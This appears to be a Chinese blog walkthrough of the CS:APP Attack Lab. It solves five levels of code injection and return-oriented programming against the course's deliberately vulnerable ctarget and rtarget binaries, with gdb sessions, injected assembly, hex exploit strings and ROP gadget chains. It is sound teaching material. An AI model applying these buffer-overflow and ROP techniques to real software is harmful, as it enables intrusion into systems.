计算机系统导论实验三 Attack Lab

Attack Lab

参考大佬:https://blog.youkuaiyun.com/weixin_43362650/article/details/120893992

Level1

  • 建议安装gedit来作为文本编辑器apt install gedit
  • 反编译查看代码:objdump -d ctarget
  • 找到关键函数
    在这里插入图片描述
    在这里插入图片描述
    在这里插入图片描述
    getbuf定义:
unsigned getbuf()
{
    char buf[BUFFER_SIZE];  // 由sub$0x18,%rsp看出大小应该是24
    Gets(buf); 
    return 1;
}
#调试
gdb ctarget
#在getbuf处打断点
(gdb) break getbuf
Breakpoint 1 at 0x40167f: file buf. c, line 12.
# 运行
(gdb) run -q
Starting program: /headless/Desktop/csapp-attacklab/ctarget -q
Cookie: 0x3d9549ca
Breakpoint 1, getbuf () at buf. c: 12
12      buf.c: No such file or directory.
# 此时已经运行到getbuf函数中,查看rsp寄存器地址
(gdb) p $rsp
$1 = (void *) 0x55654cb0
(gdb) x/ 0x55654cb0
0x55654cb0:     4200489     # =401829
  • rsp 的值(0x55654cb0)指向当前栈顶,记录了程序运行到此处时栈的最顶部位置,当前栈顶保存的内容是 0x401829,即 getbuf 执行完成后需要执行的地址(调用点 test 函数中的下一条指令)
# 在getbuf sub$0x18,%rsp 后打上断点
(gdb) break *0x401683
Breakpoint 2 at 0x401683: file buf.c, line 14.
# 运行到断点
(gdb) continue
Continuing.
Breakpoint 2, getbuf () at buf.c: 14
14    in buf.c
# 查看寄存器地址,已经减去了0x18(十进制24)
(gdb) p $rsp
$2 = (void *) 0x55654c98
# 查看返回地址,即函数的返回地址在0x55654cb0,我们只需要将touch1的地址放在这里即可
(gdb) x/ 0x55654c98+24
0x55654cb0:    4200489
  • 构造输入,先填满24个字节再写入touch1的返回地址(0x401695,需要用小端法)
  • 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 95 16 40 00 00 00 00 00
    在这里插入图片描述
# 压缩成二进制文本
root@cg:~/Desktop/csapp-attacklab#./hex2raw < one.txt › one-raw.txt
root@cg:~/Desktop/csapp-attacklab# ./ctarget -q < one-raw.txt
Cookie: 0x3d9549ca
Type string:Touchl!: You called touchl()
Valid solution for level 1 with target target
PASS:

Level2

在这里插入图片描述

  • touch2代码

    void touch2(unsigned val)
    {
        vlevel = 2;       /* Part of validation protocol */
        if (val == cookie) {
            printf("Touch2!: You called touch2(0x%.8x)\n", val);
            validate(2);
        } else {
            printf("Misfire: You called touch2(0x%.8x)\n", val);
            fail(2);
        }
        exit(0);
    }
    
  • 需要在跳转到touch2的基础上,将参数传递到touch2中

  • 函数第一个参数默认是在寄存器%rdi中传递的,需要将cookie保存到%rdi中,再跳转,cookie在之前运行程序的时候看到了

    (gdb) run -q
    Starting program: /headless/Desktop/csapp-attacklab/ctarget -q
    Cookie: 0x3d9549ca
    Breakpoint 1, getbuf () at buf. c: 12
    12      buf.c: No such file or directory.
    
  • 可以利用getbuf开辟出的栈组织来构建新的代码进行跳转,也就是我们将代码注入到栈组织中,跳转到代码的地址来执行我们的代码

  • 栈组织的顶部是0x55654cb0

    # 查看寄存器地址,已经减去了0x18(十进制24)
    (gdb) p $rsp
    $2 = (void *) 0x55654c98
    
  • 我们想要执行的汇编代码

movq $0x3d9549ca,%rdi   #将cookie存入%rdi
push $0x4016c1            #将touch2地址压入栈,ret会跳转到这个地址(即栈顶地址)
ret

在这里插入图片描述

root@cg:~/Desktop/csapp-attacklab# gcc -c two.s
root@cg:~/Desktop/csapp-attacklab# objdump -d two.o › two.d

在这里插入图片描述

  • 48 c7 c7 ca 49 95 3d 68 c1 16 40 00 c3 00 00 00 00 00 00 00 00 00 00 00 98 4c 65 66 00 00 00 00
    在这里插入图片描述
root@cg:~/Desktop/csapp-attacklab# ./hex2raw < two.txt > two-raw.txt
root@cg:~/Desktop/csapp-attacklab#./ctarget -q < two-raw.txt
Cookie: 0x3d9549ca
Type string:Touch2!: You called touch2(0x3d9549ca)
Valid solution for level 2 with target target
PASS:

Level3

在这里插入图片描述
对应函数代码

int hexmatch(unsigned val, char *sval)
{
    char cbuf[110];
    /* Make position of check string unpredictable */
    char *s = cbuf + random() % 100;
    sprintf(s, "%.8x", val);
    return strncmp(sval, s, 9) == 0;
}

void touch3(char *sval)
{
    vlevel = 3;       /* Part of validation protocol */
    if (hexmatch(cookie, sval)) {
        printf("Touch3!: You called touch3(\"%s\")\n", sval);
        validate(3);
    } else {
        printf("Misfire: You called touch3(\"%s\")\n", sval);
        fail(3);
    }
    exit(0);
}
  • 需要传入字符串形式的cookie,查询ascii码(16进制的ascii码),题目中说要最后加00

  • 3d9549ca --> 33 64 39 35 34 39 63 61

  • hexmatch新建变量会覆盖堆栈,所以不能将cookie放在level2的位置

  • 考虑把cookie对应的字符串放在test的栈中,类似于

    48 c7 c7 ca 49 95 3d 68 c1 16 40 00 c3 00 00 00 00 00 00 00 00 00 00 00 98 4c 65 66 00 00 00 00 33 64 39 35 34 39 63 61 00

  • 需要将原level2的汇编修改如下

    movq $0x55654cb8,%rdi   #将cookie对应的字符串的地址存入%rdi,即0x55654cb0+8=0x55654cb8(test程序帧)
    push $0x4017ad           #将touch3地址压入栈,ret会跳转到这个地址(即栈顶地址)
    ret
    
root@cg:~/Desktop/csapp-attacklab# gcc -c three.s
root@cg:~/Desktop/csapp-attacklab# objdump -d three.o › three.d
  • 48 c7 c7 b8 4c 65 66 68 ad 17 40 00 c3 00 00 00 00 00 00 00 00 00 00 00 98 4c 65 66 00 00 00 00 33 64 39 35 34 39 63 61 00
    在这里插入图片描述
rootacg:~/Desktop/csapp-attacklab# /hex2raw < three-test.txt › three-raw.txt
root@cg:~/Desktop/csapp-attacklab#./ctarget -q < three-raw.txt
Cookie: 0x3d9549ca
Type string:Touch3!: You called touch3("3d9549ca" )
Valid solution for level 3 with target target
PASS:

Level 4

  • 有指令字节编码
    在这里插入图片描述

  • 反编译objdump -d rtarget > obj-2.txt

  • 根据大佬的理解,我们希望

    • pop %rax(对应栈顶是cookie)
    • retq(对应栈顶是movq %rax,%rdi的地址)
    • retq(对应touch2的地址)
  • popq nop retq,对应地址401876
    在这里插入图片描述

  • movq %rax %rdi %rax %rdi,对应地址401868
    在这里插入图片描述

  • 和level2代码对比

    48 c7 c7 ca 49 95 3d 68 c1 16 40 00 c3 00 00 00 00 00 00 00 00 00 00 00 98 4c 65 66 00 00 00 00`

  • 在返回位置写入gadget

    00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 76 18 40 00 00 00 00 00 ca 49 95 3d 00 00 00 00 68 18 40 00 00 00 00 00 c1 16 40 00 00 00 00 00`

    即24位填充+popq nop retq+cookie+movq %rax %rdi+touch2地址

    需要注意的是这里的ctarget的cookie和touch2地址需要换成rtarget的
    在这里插入图片描述

root@cg:~/Desktop/csapp-attacklab#./hex2raw < four.txt > four-raw.txt
root@cg: ~/Desktop/csapp-attacklab#./rtarget -q < four-raw.txt
Cookie: 0x3d9549ca
Type string:Touch2!: You called touch2(0x3d9549ca)
Valid solution for level 2 with target target
PASS:

level5

在这里插入图片描述

  • 大佬总结,照抄完事
    在这里插入图片描述

  • 找代码,注意2字节指令,它们可以作为有功能的nop,可以跟在指令后面,最后一定要跟c3

  • movq %rsp,%rax 401934
    在这里插入图片描述

  • movq %rax,%rdi 401868
    在这里插入图片描述

  • pop %rax 401876
    在这里插入图片描述

  • 后面程序有修改,没有movl %eax,%edx,所以重新连线了,只要最终效果是%eax->%esi就可以

  • movl %eax,%ecx 4018b0
    在这里插入图片描述

  • movl %ecx,%edx 4018a3
    在这里插入图片描述

  • movl %edx,%esi 4018ca
    在这里插入图片描述

  • lea(%rdi,%rsi,1),%rax 401887
    在这里插入图片描述

  • movq %rax,%rdi 40185a
    在这里插入图片描述

  • 构建five.txt

  • 构建逻辑,具体理解请看大佬原文档:

    • 24个占位
    • movq %rsp,%rax
    • movq %rax,%rdi
    • pop %rax
    • 0x 48
    • movl %eax,%ecx
    • movl %ecx,%edx
    • movl %edx,%esi
    • lea(%rdi,%rsi,1),%rax
    • movq %rax,%rdi
    • touch3地址
    • cookie
      在这里插入图片描述
root@cg: ~/Desktop/csapp-attacklab#./hex2raw < five.txt › five-raw.txt
root@cg:~/Desktop/csapp-attacklab# ./rtarget
-q < five- raw.txt
Cookie: 0x3d9549ca
Type string:Touch3!: You called touch3 ("3d9549ca" )
Valid solution for level 3 with target target
PASS:
  • 调试手段,gdb进入后在getbug执行完gets的地方打断点,到断点位置查看 栈内是否注入rsp

在这里插入图片描述

(gdb) si
0x0000000000401934 in addval_479 ()
#此时已经进入到我的rop链中,查看寄存器
(gdb) info registers
rax 0x1 1
rbx 0x7fffffffe878
rsi 0x30 48
rdi 0x7ffff7dcda00
rbp 0x7ffffffe760
rsp 0x7ffffffe8210
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包

打赏作者

冰宸旻

你的鼓励将是我创作的最大动力

¥1 ¥2 ¥4 ¥6 ¥10 ¥20
扫码支付:¥1
获取中
扫码支付

您的余额不足,请更换扫码支付或充值

打赏作者

实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值